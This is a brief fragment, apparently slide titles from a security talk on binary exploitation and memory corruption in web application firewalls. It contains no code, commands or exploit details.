Binary exploitation/memory corruption  
in Web Application Firewalls.
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Thank you!
Walkthrough of how to break all the WAFs
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